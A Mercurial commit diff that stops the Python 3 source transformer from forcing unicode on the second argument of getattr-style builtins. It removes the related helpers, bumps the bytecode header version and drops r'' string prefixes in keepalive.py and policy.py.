py3: stop normalizing 2nd argument of *attr() to unicode

Now that we don't byteify strings, we can stop normalizing the 2nd
string argument to getattr() and remove explicit overrides we were
using in the code base.

We no longer use some helper functions in the source transformer,
so we remove those as well.

Differential Revision: https://phab.mercurial-scm.org/D7012

mercurial/__init__.py

@@ -1,259 +1,208
 # __init__.py - Startup and module loading logic for Mercurial.
 #
 # Copyright 2015 Gregory Szorc <[e-mail]>
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 from __future__ import absolute_import
 
 import sys
 
 # Allow 'from mercurial import demandimport' to keep working.
 import hgdemandimport
 
 demandimport = hgdemandimport
 
 __all__ = []
 
 # Python 3 uses a custom module loader that transforms source code between
 # source file reading and compilation. This is done by registering a custom
 # finder that changes the spec for Mercurial modules to use a custom loader.
 if sys.version_info[0] >= 3:
     import importlib
     import importlib.abc
     import io
     import token
     import tokenize
 
     class hgpathentryfinder(importlib.abc.MetaPathFinder):
         """A sys.meta_path finder that uses a custom module loader."""
 
         def find_spec(self, fullname, path, target=None):
             # Only handle Mercurial-related modules.
             if not fullname.startswith(('mercurial.', 'hgext.')):
                 return None
             # don't try to parse binary
             if fullname.startswith('mercurial.cext.'):
                 return None
             # third-party packages are expected to be dual-version clean
             if fullname.startswith('mercurial.thirdparty'):
                 return None
             # zstd is already dual-version clean, don't try and mangle it
             if fullname.startswith('mercurial.zstd'):
                 return None
             # rustext is built for the right python version,
             # don't try and mangle it
             if fullname.startswith('mercurial.rustext'):
                 return None
             # pywatchman is already dual-version clean, don't try and mangle it
             if fullname.startswith('hgext.fsmonitor.pywatchman'):
                 return None
 
             # Try to find the module using other registered finders.
             spec = None
             for finder in sys.meta_path:
                 if finder == self:
                     continue
 
                 # Originally the API was a `find_module` method, but it was
                 # renamed to `find_spec` in python 3.4, with a new `target`
                 # argument.
                 find_spec_method = getattr(finder, 'find_spec', None)
                 if find_spec_method:
                     spec = find_spec_method(fullname, path, target=target)
                 else:
                     spec = finder.find_module(fullname)
                     if spec is not None:
                         spec = importlib.util.spec_from_loader(fullname, spec)
                 if spec:
                     break
 
             # This is a Mercurial-related module but we couldn't find it
             # using the previously-registered finders. This likely means
             # the module doesn't exist.
             if not spec:
                 return None
 
             # TODO need to support loaders from alternate specs, like zip
             # loaders.
             loader = hgloader(spec.name, spec.origin)
             # Can't use util.safehasattr here because that would require
             # importing util, and we're in import code.
             if hasattr(spec.loader, 'loader'):  # hasattr-py3-only
                 # This is a nested loader (maybe a lazy loader?)
                 spec.loader.loader = loader
             else:
                 spec.loader = loader
             return spec
 
     def replacetokens(tokens, fullname):
         """Transform a stream of tokens from raw to Python 3.
 
         It is called by the custom module loading machinery to rewrite
         source/tokens between source decoding and compilation.
 
         Returns a generator of possibly rewritten tokens.
 
         The input token list may be mutated as part of processing. However,
         its changes do not necessarily match the output token stream.
 
         REMEMBER TO CHANGE ``BYTECODEHEADER`` WHEN CHANGING THIS FUNCTION
         OR CACHED FILES WON'T GET INVALIDATED PROPERLY.
         """
         # The following utility functions access the tokens list and i index of
         # the for i, t enumerate(tokens) loop below
         def _isop(j, *o):
             """Assert that tokens[j] is an OP with one of the given values"""
             try:
                 return tokens[j].type == token.OP and tokens[j].string in o
             except IndexError:
                 return False
 
-        def _findargnofcall(n):
-            """Find arg n of a call expression (start at 0)
-
-            Returns index of the first token of that argument, or None if
-            there is not that many arguments.
-
-            Assumes that token[i + 1] is '('.
-
-            """
-            nested = 0
-            for j in range(i + 2, len(tokens)):
-                if _isop(j, ')', ']', '}'):
-                    # end of call, tuple, subscription or dict / set
-                    nested -= 1
-                    if nested < 0:
-                        return None
-                elif n == 0:
-                    # this is the starting position of arg
-                    return j
-                elif _isop(j, '(', '[', '{'):
-                    nested += 1
-                elif _isop(j, ',') and nested == 0:
-                    n -= 1
-
-            return None
-
-        def _ensureunicode(j):
-            """Make sure the token at j is a unicode string
-
-            This rewrites a string token to include the unicode literal prefix
-            so the string transformer won't add the byte prefix.
-
-            Ignores tokens that are not strings. Assumes bounds checking has
-            already been done.
-
-            """
-            st = tokens[j]
-            if st.type == token.STRING and st.string.startswith(("'", '"')):
-                tokens[j] = st._replace(string='u%s' % st.string)
-
         for i, t in enumerate(tokens):
             # This looks like a function call.
             if t.type == token.NAME and _isop(i + 1, '('):
                 fn = t.string
 
-                # *attr() builtins don't accept byte strings to 2nd argument.
-                if fn in (
-                    'getattr',
-                    'setattr',
-                    'hasattr',
-                    'safehasattr',
-                ) and not _isop(i - 1, '.'):
-                    arg1idx = _findargnofcall(1)
-                    if arg1idx is not None:
-                        _ensureunicode(arg1idx)
-
                 # It changes iteritems/values to items/values as they are not
                 # present in Python 3 world.
-                elif fn in ('iteritems', 'itervalues') and not (
+                if fn in ('iteritems', 'itervalues') and not (
                     tokens[i - 1].type == token.NAME
                     and tokens[i - 1].string == 'def'
                 ):
                     yield t._replace(string=fn[4:])
                     continue
 
             # Emit unmodified token.
             yield t
 
     # Header to add to bytecode files. This MUST be changed when
     # ``replacetoken`` or any mechanism that changes semantics of module
     # loading is changed. Otherwise cached bytecode may get loaded without
     # the new transformation mechanisms applied.
-    BYTECODEHEADER = b'HG\x00\x13'
+    BYTECODEHEADER = b'HG\x00\x14'
 
     class hgloader(importlib.machinery.SourceFileLoader):
         """Custom module loader that transforms source code.
 
         When the source code is converted to a code object, we transform
         certain patterns to be Python 3 compatible. This allows us to write code
         that is natively Python 2 and compatible with Python 3 without
         making the code excessively ugly.
 
         We do this by transforming the token stream between parse and compile.
 
         Implementing transformations invalidates caching assumptions made
         by the built-in importer. The built-in importer stores a header on
         saved bytecode files indicating the Python/bytecode version. If the
         version changes, the cached bytecode is ignored. The Mercurial
         transformations could change at any time. This means we need to check
         that cached bytecode was generated with the current transformation
         code or there could be a mismatch between cached bytecode and what
         would be generated from this class.
 
         We supplement the bytecode caching layer by wrapping ``get_data``
         and ``set_data``. These functions are called when the
         ``SourceFileLoader`` retrieves and saves bytecode cache files,
         respectively. We simply add an additional header on the file. As
         long as the version in this file is changed when semantics change,
         cached bytecode should be invalidated when transformations change.
 
         The added header has the form ``HG<VERSION>``. That is a literal
         ``HG`` with 2 binary bytes indicating the transformation version.
         """
 
         def get_data(self, path):
             data = super(hgloader, self).get_data(path)
 
             if not path.endswith(tuple(importlib.machinery.BYTECODE_SUFFIXES)):
                 return data
 
             # There should be a header indicating the Mercurial transformation
             # version. If it doesn't exist or doesn't match the current version,
             # we raise an OSError because that is what
             # ``SourceFileLoader.get_code()`` expects when loading bytecode
             # paths to indicate the cached file is "bad."
             if data[0:2] != b'HG':
                 raise OSError('no hg header')
             if data[0:4] != BYTECODEHEADER:
                 raise OSError('hg header version mismatch')
 
             return data[4:]
 
         def set_data(self, path, data, *args, **kwargs):
             if path.endswith(tuple(importlib.machinery.BYTECODE_SUFFIXES)):
                 data = BYTECODEHEADER + data
 
             return super(hgloader, self).set_data(path, data, *args, **kwargs)
 
         def source_to_code(self, data, path):
             """Perform token transformation before compilation."""
             buf = io.BytesIO(data)
             tokens = tokenize.tokenize(buf.readline)
             data = tokenize.untokenize(replacetokens(list(tokens), self.name))
             # Python's built-in importer strips frames from exceptions raised
             # for this code. Unfortunately, that mechanism isn't extensible
             # and our frame will be blamed for the import failure. There
             # are extremely hacky ways to do frame stripping. We haven't
             # implemented them because they are very ugly.
             return super(hgloader, self).source_to_code(data, path)
 
     # We automagically register our custom importer as a side-effect of
     # loading. This is necessary to ensure that any entry points are able
     # to import mercurial.* modules without having to perform this
     # registration themselves.
     if not any(isinstance(x, hgpathentryfinder) for x in sys.meta_path):
         # meta_path is used before any implicit finders and before sys.path.
         sys.meta_path.insert(0, hgpathentryfinder())

mercurial/keepalive.py

@@ -1,848 +1,848
 #   This library is free software; you can redistribute it and/or
 #   modify it under the terms of the GNU Lesser General Public
 #   License as published by the Free Software Foundation; either
 #   version 2.1 of the License, or (at your option) any later version.
 #
 #   This library is distributed in the hope that it will be useful,
 #   but WITHOUT ANY WARRANTY; without even the implied warranty of
 #   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
 #   Lesser General Public License for more details.
 #
 #   You should have received a copy of the GNU Lesser General Public
 #   License along with this library; if not, see
 #   <http://www.gnu.org/licenses/>.
 
 # This file is part of urlgrabber, a high-level cross-protocol url-grabber
 # Copyright 2002-2004 Michael D. Stenner, Ryan Tomayko
 
 # Modified by Benoit Boissinot:
 #  - fix for digest auth (inspired from urllib2.py @ Python v2.4)
 # Modified by Dirkjan Ochtman:
 #  - import md5 function from a local util module
 # Modified by Augie Fackler:
 #  - add safesend method and use it to prevent broken pipe errors
 #    on large POST requests
 
 """An HTTP handler for urllib2 that supports HTTP 1.1 and keepalive.
 
 >>> import urllib2
 >>> from keepalive import HTTPHandler
 >>> keepalive_handler = HTTPHandler()
 >>> opener = urlreq.buildopener(keepalive_handler)
 >>> urlreq.installopener(opener)
 >>>
 >>> fo = urlreq.urlopen('http://www.python.org')
 
 If a connection to a given host is requested, and all of the existing
 connections are still in use, another connection will be opened.  If
 the handler tries to use an existing connection but it fails in some
 way, it will be closed and removed from the pool.
 
 To remove the handler, simply re-run build_opener with no arguments, and
 install that opener.
 
 You can explicitly close connections by using the close_connection()
 method of the returned file-like object (described below) or you can
 use the handler methods:
 
   close_connection(host)
   close_all()
   open_connections()
 
 NOTE: using the close_connection and close_all methods of the handler
 should be done with care when using multiple threads.
   * there is nothing that prevents another thread from creating new
     connections immediately after connections are closed
   * no checks are done to prevent in-use connections from being closed
 
 >>> keepalive_handler.close_all()
 
 EXTRA ATTRIBUTES AND METHODS
 
   Upon a status of 200, the object returned has a few additional
   attributes and methods, which should not be used if you want to
   remain consistent with the normal urllib2-returned objects:
 
     close_connection()  -  close the connection to the host
     readlines()         -  you know, readlines()
     status              -  the return status (i.e. 404)
     reason              -  english translation of status (i.e. 'File not found')
 
   If you want the best of both worlds, use this inside an
   AttributeError-catching try:
 
   >>> try: status = fo.status
   >>> except AttributeError: status = None
 
   Unfortunately, these are ONLY there if status == 200, so it's not
   easy to distinguish between non-200 responses.  The reason is that
   urllib2 tries to do clever things with error codes 301, 302, 401,
   and 407, and it wraps the object upon return.
 """
 
 # $Id: keepalive.py,v 1.14 2006/04/04 21:00:32 mstenner Exp $
 
 from __future__ import absolute_import, print_function
 
 import collections
 import errno
 import hashlib
 import socket
 import sys
 import threading
 
 from .i18n import _
 from .pycompat import getattr
 from . import (
     node,
     pycompat,
     urllibcompat,
     util,
 )
 from .utils import procutil
 
 httplib = util.httplib
 urlerr = util.urlerr
 urlreq = util.urlreq
 
 DEBUG = None
 
 
 class ConnectionManager(object):
     """
     The connection manager must be able to:
       * keep track of all existing
       """
 
     def __init__(self):
         self._lock = threading.Lock()
         self._hostmap = collections.defaultdict(list)  # host -> [connection]
         self._connmap = {}  # map connections to host
         self._readymap = {}  # map connection to ready state
 
     def add(self, host, connection, ready):
         self._lock.acquire()
         try:
             self._hostmap[host].append(connection)
             self._connmap[connection] = host
             self._readymap[connection] = ready
         finally:
             self._lock.release()
 
     def remove(self, connection):
         self._lock.acquire()
         try:
             try:
                 host = self._connmap[connection]
             except KeyError:
                 pass
             else:
                 del self._connmap[connection]
                 del self._readymap[connection]
                 self._hostmap[host].remove(connection)
                 if not self._hostmap[host]:
                     del self._hostmap[host]
         finally:
             self._lock.release()
 
     def set_ready(self, connection, ready):
         try:
             self._readymap[connection] = ready
         except KeyError:
             pass
 
     def get_ready_conn(self, host):
         conn = None
         self._lock.acquire()
         try:
             for c in self._hostmap[host]:
                 if self._readymap[c]:
                     self._readymap[c] = False
                     conn = c
                     break
         finally:
             self._lock.release()
         return conn
 
     def get_all(self, host=None):
         if host:
             return list(self._hostmap[host])
         else:
             return dict(self._hostmap)
 
 
 class KeepAliveHandler(object):
     def __init__(self, timeout=None):
         self._cm = ConnectionManager()
         self._timeout = timeout
         self.requestscount = 0
         self.sentbytescount = 0
 
     #### Connection Management
     def open_connections(self):
         """return a list of connected hosts and the number of connections
         to each.  [('foo.com:80', 2), ('bar.org', 1)]"""
         return [(host, len(li)) for (host, li) in self._cm.get_all().items()]
 
     def close_connection(self, host):
         """close connection(s) to <host>
         host is the host:port spec, as in 'www.cnn.com:8080' as passed in.
         no error occurs if there is no connection to that host."""
         for h in self._cm.get_all(host):
             self._cm.remove(h)
             h.close()
 
     def close_all(self):
         """close all open connections"""
         for host, conns in self._cm.get_all().iteritems():
             for h in conns:
                 self._cm.remove(h)
                 h.close()
 
     def _request_closed(self, request, host, connection):
         """tells us that this request is now closed and that the
         connection is ready for another request"""
         self._cm.set_ready(connection, True)
 
     def _remove_connection(self, host, connection, close=0):
         if close:
             connection.close()
         self._cm.remove(connection)
 
     #### Transaction Execution
     def http_open(self, req):
         return self.do_open(HTTPConnection, req)
 
     def do_open(self, http_class, req):
         host = urllibcompat.gethost(req)
         if not host:
             raise urlerr.urlerror(b'no host given')
 
         try:
             h = self._cm.get_ready_conn(host)
             while h:
                 r = self._reuse_connection(h, req, host)
 
                 # if this response is non-None, then it worked and we're
                 # done.  Break out, skipping the else block.
                 if r:
                     break
 
                 # connection is bad - possibly closed by server
                 # discard it and ask for the next free connection
                 h.close()
                 self._cm.remove(h)
                 h = self._cm.get_ready_conn(host)
             else:
                 # no (working) free connections were found.  Create a new one.
                 h = http_class(host, timeout=self._timeout)
                 if DEBUG:
                     DEBUG.info(
                         b"creating new connection to %s (%d)", host, id(h)
                     )
                 self._cm.add(host, h, False)
                 self._start_transaction(h, req)
                 r = h.getresponse()
         # The string form of BadStatusLine is the status line. Add some context
         # to make the error message slightly more useful.
         except httplib.BadStatusLine as err:
             raise urlerr.urlerror(
                 _(b'bad HTTP status line: %s') % pycompat.sysbytes(err.line)
             )
         except (socket.error, httplib.HTTPException) as err:
             raise urlerr.urlerror(err)
 
         # If not a persistent connection, don't try to reuse it. Look
         # for this using getattr() since vcr doesn't define this
         # attribute, and in that case always close the connection.
-        if getattr(r, r'will_close', True):
+        if getattr(r, 'will_close', True):
             self._cm.remove(h)
 
         if DEBUG:
             DEBUG.info(b"STATUS: %s, %s", r.status, r.reason)
         r._handler = self
         r._host = host
         r._url = req.get_full_url()
         r._connection = h
         r.code = r.status
         r.headers = r.msg
         r.msg = r.reason
 
         return r
 
     def _reuse_connection(self, h, req, host):
         """start the transaction with a re-used connection
         return a response object (r) upon success or None on failure.
         This DOES not close or remove bad connections in cases where
         it returns.  However, if an unexpected exception occurs, it
         will close and remove the connection before re-raising.
         """
         try:
             self._start_transaction(h, req)
             r = h.getresponse()
             # note: just because we got something back doesn't mean it
             # worked.  We'll check the version below, too.
         except (socket.error, httplib.HTTPException):
             r = None
         except:  # re-raises
             # adding this block just in case we've missed
             # something we will still raise the exception, but
             # lets try and close the connection and remove it
             # first.  We previously got into a nasty loop
             # where an exception was uncaught, and so the
             # connection stayed open.  On the next try, the
             # same exception was raised, etc.  The trade-off is
             # that it's now possible this call will raise
             # a DIFFERENT exception
             if DEBUG:
                 DEBUG.error(
                     b"unexpected exception - closing " b"connection to %s (%d)",
                     host,
                     id(h),
                 )
             self._cm.remove(h)
             h.close()
             raise
 
         if r is None or r.version == 9:
             # httplib falls back to assuming HTTP 0.9 if it gets a
             # bad header back.  This is most likely to happen if
             # the socket has been closed by the server since we
             # last used the connection.
             if DEBUG:
                 DEBUG.info(
                     b"failed to re-use connection to %s (%d)", host, id(h)
                 )
             r = None
         else:
             if DEBUG:
                 DEBUG.info(b"re-using connection to %s (%d)", host, id(h))
 
         return r
 
     def _start_transaction(self, h, req):
         oldbytescount = getattr(h, 'sentbytescount', 0)
 
         # What follows mostly reimplements HTTPConnection.request()
         # except it adds self.parent.addheaders in the mix and sends headers
         # in a deterministic order (to make testing easier).
         headers = util.sortdict(self.parent.addheaders)
         headers.update(sorted(req.headers.items()))
         headers.update(sorted(req.unredirected_hdrs.items()))
         headers = util.sortdict((n.lower(), v) for n, v in headers.items())
         skipheaders = {}
         for n in (r'host', r'accept-encoding'):
             if n in headers:
                 skipheaders[r'skip_' + n.replace(r'-', r'_')] = 1
         try:
             if urllibcompat.hasdata(req):
                 data = urllibcompat.getdata(req)
                 h.putrequest(
                     req.get_method(),
                     urllibcompat.getselector(req),
                     **skipheaders
                 )
                 if r'content-type' not in headers:
                     h.putheader(
                         r'Content-type', r'application/x-www-form-urlencoded'
                     )
                 if r'content-length' not in headers:
                     h.putheader(r'Content-length', r'%d' % len(data))
             else:
                 h.putrequest(
                     req.get_method(),
                     urllibcompat.getselector(req),
                     **skipheaders
                 )
         except socket.error as err:
             raise urlerr.urlerror(err)
         for k, v in headers.items():
             h.putheader(k, v)
         h.endheaders()
         if urllibcompat.hasdata(req):
             h.send(data)
 
         # This will fail to record events in case of I/O failure. That's OK.
         self.requestscount += 1
         self.sentbytescount += getattr(h, 'sentbytescount', 0) - oldbytescount
 
         try:
             self.parent.requestscount += 1
             self.parent.sentbytescount += (
                 getattr(h, 'sentbytescount', 0) - oldbytescount
             )
         except AttributeError:
             pass
 
 
 class HTTPHandler(KeepAliveHandler, urlreq.httphandler):
     pass
 
 
 class HTTPResponse(httplib.HTTPResponse):
     # we need to subclass HTTPResponse in order to
     # 1) add readline(), readlines(), and readinto() methods
     # 2) add close_connection() methods
     # 3) add info() and geturl() methods
 
     # in order to add readline(), read must be modified to deal with a
     # buffer.  example: readline must read a buffer and then spit back
     # one line at a time.  The only real alternative is to read one
     # BYTE at a time (ick).  Once something has been read, it can't be
     # put back (ok, maybe it can, but that's even uglier than this),
     # so if you THEN do a normal read, you must first take stuff from
     # the buffer.
 
     # the read method wraps the original to accommodate buffering,
     # although read() never adds to the buffer.
     # Both readline and readlines have been stolen with almost no
     # modification from socket.py
 
     def __init__(self, sock, debuglevel=0, strict=0, method=None):
         extrakw = {}
         if not pycompat.ispy3:
             extrakw[r'strict'] = True
             extrakw[r'buffering'] = True
         httplib.HTTPResponse.__init__(
             self, sock, debuglevel=debuglevel, method=method, **extrakw
         )
         self.fileno = sock.fileno
         self.code = None
         self.receivedbytescount = 0
         self._rbuf = b''
         self._rbufsize = 8096
         self._handler = None  # inserted by the handler later
         self._host = None  # (same)
         self._url = None  # (same)
         self._connection = None  # (same)
 
     _raw_read = httplib.HTTPResponse.read
     _raw_readinto = getattr(httplib.HTTPResponse, 'readinto', None)
 
     # Python 2.7 has a single close() which closes the socket handle.
     # This method was effectively renamed to _close_conn() in Python 3. But
     # there is also a close(). _close_conn() is called by methods like
     # read().
 
     def close(self):
         if self.fp:
             self.fp.close()
             self.fp = None
             if self._handler:
                 self._handler._request_closed(
                     self, self._host, self._connection
                 )
 
     def _close_conn(self):
         self.close()
 
     def close_connection(self):
         self._handler._remove_connection(self._host, self._connection, close=1)
         self.close()
 
     def info(self):
         return self.headers
 
     def geturl(self):
         return self._url
 
     def read(self, amt=None):
         # the _rbuf test is only in this first if for speed.  It's not
         # logically necessary
         if self._rbuf and amt is not None:
             L = len(self._rbuf)
             if amt > L:
                 amt -= L
             else:
                 s = self._rbuf[:amt]
                 self._rbuf = self._rbuf[amt:]
                 return s
         # Careful! http.client.HTTPResponse.read() on Python 3 is
         # implemented using readinto(), which can duplicate self._rbuf
         # if it's not empty.
         s = self._rbuf
         self._rbuf = b''
         data = self._raw_read(amt)
 
         self.receivedbytescount += len(data)
         try:
             self._connection.receivedbytescount += len(data)
         except AttributeError:
             pass
         try:
             self._handler.parent.receivedbytescount += len(data)
         except AttributeError:
             pass
 
         s += data
         return s
 
     # stolen from Python SVN #68532 to fix issue1088
     def _read_chunked(self, amt):
         chunk_left = self.chunk_left
         parts = []
 
         while True:
             if chunk_left is None:
                 line = self.fp.readline()
                 i = line.find(b';')
                 if i >= 0:
                     line = line[:i]  # strip chunk-extensions
                 try:
                     chunk_left = int(line, 16)
                 except ValueError:
                     # close the connection as protocol synchronization is
                     # probably lost
                     self.close()
                     raise httplib.IncompleteRead(b''.join(parts))
                 if chunk_left == 0:
                     break
             if amt is None:
                 parts.append(self._safe_read(chunk_left))
             elif amt < chunk_left:
                 parts.append(self._safe_read(amt))
                 self.chunk_left = chunk_left - amt
                 return b''.join(parts)
             elif amt == chunk_left:
                 parts.append(self._safe_read(amt))
                 self._safe_read(2)  # toss the CRLF at the end of the chunk
                 self.chunk_left = None
                 return b''.join(parts)
             else:
                 parts.append(self._safe_read(chunk_left))
                 amt -= chunk_left
 
             # we read the whole chunk, get another
             self._safe_read(2)  # toss the CRLF at the end of the chunk
             chunk_left = None
 
         # read and discard trailer up to the CRLF terminator
         ### note: we shouldn't have any trailers!
         while True:
             line = self.fp.readline()
             if not line:
                 # a vanishingly small number of sites EOF without
                 # sending the trailer
                 break
             if line == b'\r\n':
                 break
 
         # we read everything; close the "file"
         self.close()
 
         return b''.join(parts)
 
     def readline(self):
         # Fast path for a line is already available in read buffer.
         i = self._rbuf.find(b'\n')
         if i >= 0:
             i += 1
             line = self._rbuf[:i]
             self._rbuf = self._rbuf[i:]
             return line
 
         # No newline in local buffer. Read until we find one.
         chunks = [self._rbuf]
         i = -1
         readsize = self._rbufsize
         while True:
             new = self._raw_read(readsize)
             if not new:
                 break
 
             self.receivedbytescount += len(new)
             self._connection.receivedbytescount += len(new)
             try:
                 self._handler.parent.receivedbytescount += len(new)
             except AttributeError:
                 pass
 
             chunks.append(new)
             i = new.find(b'\n')
             if i >= 0:
                 break
 
         # We either have exhausted the stream or have a newline in chunks[-1].
 
         # EOF
         if i == -1:
             self._rbuf = b''
             return b''.join(chunks)
 
         i += 1
         self._rbuf = chunks[-1][i:]
         chunks[-1] = chunks[-1][:i]
         return b''.join(chunks)
 
     def readlines(self, sizehint=0):
         total = 0
         list = []
         while True:
             line = self.readline()
             if not line:
                 break
             list.append(line)
             total += len(line)
             if sizehint and total >= sizehint:
                 break
         return list
 
     def readinto(self, dest):
         if self._raw_readinto is None:
             res = self.read(len(dest))
             if not res:
                 return 0
             dest[0 : len(res)] = res
             return len(res)
         total = len(dest)
         have = len(self._rbuf)
         if have >= total:
             dest[0:total] = self._rbuf[:total]
             self._rbuf = self._rbuf[total:]
             return total
         mv = memoryview(dest)
         got = self._raw_readinto(mv[have:total])
 
         self.receivedbytescount += got
         self._connection.receivedbytescount += got
         try:
             self._handler.receivedbytescount += got
         except AttributeError:
             pass
 
         dest[0:have] = self._rbuf
         got += len(self._rbuf)
         self._rbuf = b''
         return got
 
 
 def safesend(self, str):
     """Send `str' to the server.
 
     Shamelessly ripped off from httplib to patch a bad behavior.
     """
     # _broken_pipe_resp is an attribute we set in this function
     # if the socket is closed while we're sending data but
     # the server sent us a response before hanging up.
     # In that case, we want to pretend to send the rest of the
     # outgoing data, and then let the user use getresponse()
     # (which we wrap) to get this last response before
     # opening a new socket.
     if getattr(self, '_broken_pipe_resp', None) is not None:
         return
 
     if self.sock is None:
         if self.auto_open:
             self.connect()
         else:
             raise httplib.NotConnected
 
     # send the data to the server. if we get a broken pipe, then close
     # the socket. we want to reconnect when somebody tries to send again.
     #
     # NOTE: we DO propagate the error, though, because we cannot simply
     #       ignore the error... the caller will know if they can retry.
     if self.debuglevel > 0:
         print(b"send:", repr(str))
     try:
         blocksize = 8192
         read = getattr(str, 'read', None)
         if read is not None:
             if self.debuglevel > 0:
                 print(b"sending a read()able")
             data = read(blocksize)
             while data:
                 self.sock.sendall(data)
                 self.sentbytescount += len(data)
                 data = read(blocksize)
         else:
             self.sock.sendall(str)
             self.sentbytescount += len(str)
     except socket.error as v:
         reraise = True
         if v.args[0] == errno.EPIPE:  # Broken pipe
             if self._HTTPConnection__state == httplib._CS_REQ_SENT:
                 self._broken_pipe_resp = None
                 self._broken_pipe_resp = self.getresponse()
                 reraise = False
             self.close()
         if reraise:
             raise
 
 
 def wrapgetresponse(cls):
     """Wraps getresponse in cls with a broken-pipe sane version.
     """
 
     def safegetresponse(self):
         # In safesend() we might set the _broken_pipe_resp
         # attribute, in which case the socket has already
         # been closed and we just need to give them the response
         # back. Otherwise, we use the normal response path.
         r = getattr(self, '_broken_pipe_resp', None)
         if r is not None:
             return r
         return cls.getresponse(self)
 
     safegetresponse.__doc__ = cls.getresponse.__doc__
     return safegetresponse
 
 
 class HTTPConnection(httplib.HTTPConnection):
     # url.httpsconnection inherits from this. So when adding/removing
     # attributes, be sure to audit httpsconnection() for unintended
     # consequences.
 
     # use the modified response class
     response_class = HTTPResponse
     send = safesend
     getresponse = wrapgetresponse(httplib.HTTPConnection)
 
     def __init__(self, *args, **kwargs):
         httplib.HTTPConnection.__init__(self, *args, **kwargs)
         self.sentbytescount = 0
         self.receivedbytescount = 0
 
 
 #########################################################################
 #####   TEST FUNCTIONS
 #########################################################################
 
 
 def continuity(url):
     md5 = hashlib.md5
     format = b'%25s: %s'
 
     # first fetch the file with the normal http handler
     opener = urlreq.buildopener()
     urlreq.installopener(opener)
     fo = urlreq.urlopen(url)
     foo = fo.read()
     fo.close()
     m = md5(foo)
     print(format % (b'normal urllib', node.hex(m.digest())))
 
     # now install the keepalive handler and try again
     opener = urlreq.buildopener(HTTPHandler())
     urlreq.installopener(opener)
 
     fo = urlreq.urlopen(url)
     foo = fo.read()
     fo.close()
     m = md5(foo)
     print(format % (b'keepalive read', node.hex(m.digest())))
 
     fo = urlreq.urlopen(url)
     foo = b''
     while True:
         f = fo.readline()
         if f:
             foo = foo + f
         else:
             break
     fo.close()
     m = md5(foo)
     print(format % (b'keepalive readline', node.hex(m.digest())))
 
 
 def comp(N, url):
     print(b'  making %i connections to:\n  %s' % (N, url))
 
     procutil.stdout.write(b'  first using the normal urllib handlers')
     # first use normal opener
     opener = urlreq.buildopener()
     urlreq.installopener(opener)
     t1 = fetch(N, url)
     print(b'  TIME: %.3f s' % t1)
 
     procutil.stdout.write(b'  now using the keepalive handler       ')
     # now install the keepalive handler and try again
     opener = urlreq.buildopener(HTTPHandler())
     urlreq.installopener(opener)
     t2 = fetch(N, url)
     print(b'  TIME: %.3f s' % t2)
     print(b'  improvement factor: %.2f' % (t1 / t2))
 
 
 def fetch(N, url, delay=0):
     import time
 
     lens = []
     starttime = time.time()
     for i in range(N):
         if delay and i > 0:
             time.sleep(delay)
         fo = urlreq.urlopen(url)
         foo = fo.read()
         fo.close()
         lens.append(len(foo))
     diff = time.time() - starttime
 
     j = 0
     for i in lens[1:]:
         j = j + 1
         if not i == lens[0]:
             print(b"WARNING: inconsistent length on read %i: %i" % (j, i))
 
     return diff
 
 
 def test_timeout(url):
     global DEBUG
     dbbackup = DEBUG
 
     class FakeLogger(object):
         def debug(self, msg, *args):
             print(msg % args)
 
         info = warning = error = debug
 
     DEBUG = FakeLogger()
     print(b"  fetching the file to establish a connection")
     fo = urlreq.urlopen(url)
     data1 = fo.read()
     fo.close()
 
     i = 20
     print(b"  waiting %i seconds for the server to close the connection" % i)
     while i > 0:
         procutil.stdout.write(b'\r  %2i' % i)
         procutil.stdout.flush()
         time.sleep(1)
         i -= 1
     procutil.stderr.write(b'\r')
 
     print(b"  fetching the file a second time")
     fo = urlreq.urlopen(url)
     data2 = fo.read()
     fo.close()
 
     if data1 == data2:
         print(b'  data are identical')
     else:
         print(b'  ERROR: DATA DIFFER')
 
     DEBUG = dbbackup
 
 
 def test(url, N=10):
     print(b"performing continuity test (making sure stuff isn't corrupted)")
     continuity(url)
     print(b'')
     print(b"performing speed comparison")
     comp(N, url)
     print(b'')
     print(b"performing dropped-connection check")
     test_timeout(url)
 
 
 if __name__ == '__main__':
     import time
 
     try:
         N = int(sys.argv[1])
         url = sys.argv[2]
     except (IndexError, ValueError):
         print(b"%s <integer> <url>" % sys.argv[0])
     else:
         test(url, N)

mercurial/policy.py

@@ -1,157 +1,157
 # policy.py - module policy logic for Mercurial.
 #
 # Copyright 2015 Gregory Szorc <[e-mail]>
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 from __future__ import absolute_import
 
 import os
 import sys
 
 from .pycompat import getattr
 
 # Rules for how modules can be loaded. Values are:
 #
 #    c - require C extensions
 #    rust+c - require Rust and C extensions
 #    rust+c-allow - allow Rust and C extensions with fallback to pure Python
 #                   for each
 #    allow - allow pure Python implementation when C loading fails
 #    cffi - required cffi versions (implemented within pure module)
 #    cffi-allow - allow pure Python implementation if cffi version is missing
 #    py - only load pure Python modules
 #
 # By default, fall back to the pure modules so the in-place build can
 # run without recompiling the C extensions. This will be overridden by
 # __modulepolicy__ generated by setup.py.
 policy = b'allow'
 _packageprefs = {
     # policy: (versioned package, pure package)
     b'c': (r'cext', None),
     b'allow': (r'cext', r'pure'),
     b'cffi': (r'cffi', None),
     b'cffi-allow': (r'cffi', r'pure'),
     b'py': (None, r'pure'),
     # For now, rust policies impact importrust only
     b'rust+c': (r'cext', None),
     b'rust+c-allow': (r'cext', r'pure'),
 }
 
 try:
     from . import __modulepolicy__
 
     policy = __modulepolicy__.modulepolicy
 except ImportError:
     pass
 
 # PyPy doesn't load C extensions.
 #
 # The canonical way to do this is to test platform.python_implementation().
 # But we don't import platform and don't bloat for it here.
 if r'__pypy__' in sys.builtin_module_names:
     policy = b'cffi'
 
 # Environment variable can always force settings.
 if sys.version_info[0] >= 3:
     if r'HGMODULEPOLICY' in os.environ:
         policy = os.environ[r'HGMODULEPOLICY'].encode(r'utf-8')
 else:
     policy = os.environ.get(r'HGMODULEPOLICY', policy)
 
 
 def _importfrom(pkgname, modname):
     # from .<pkgname> import <modname> (where . is looked through this module)
     fakelocals = {}
     pkg = __import__(pkgname, globals(), fakelocals, [modname], level=1)
     try:
         fakelocals[modname] = mod = getattr(pkg, modname)
     except AttributeError:
         raise ImportError(r'cannot import name %s' % modname)
     # force import; fakelocals[modname] may be replaced with the real module
-    getattr(mod, r'__doc__', None)
+    getattr(mod, '__doc__', None)
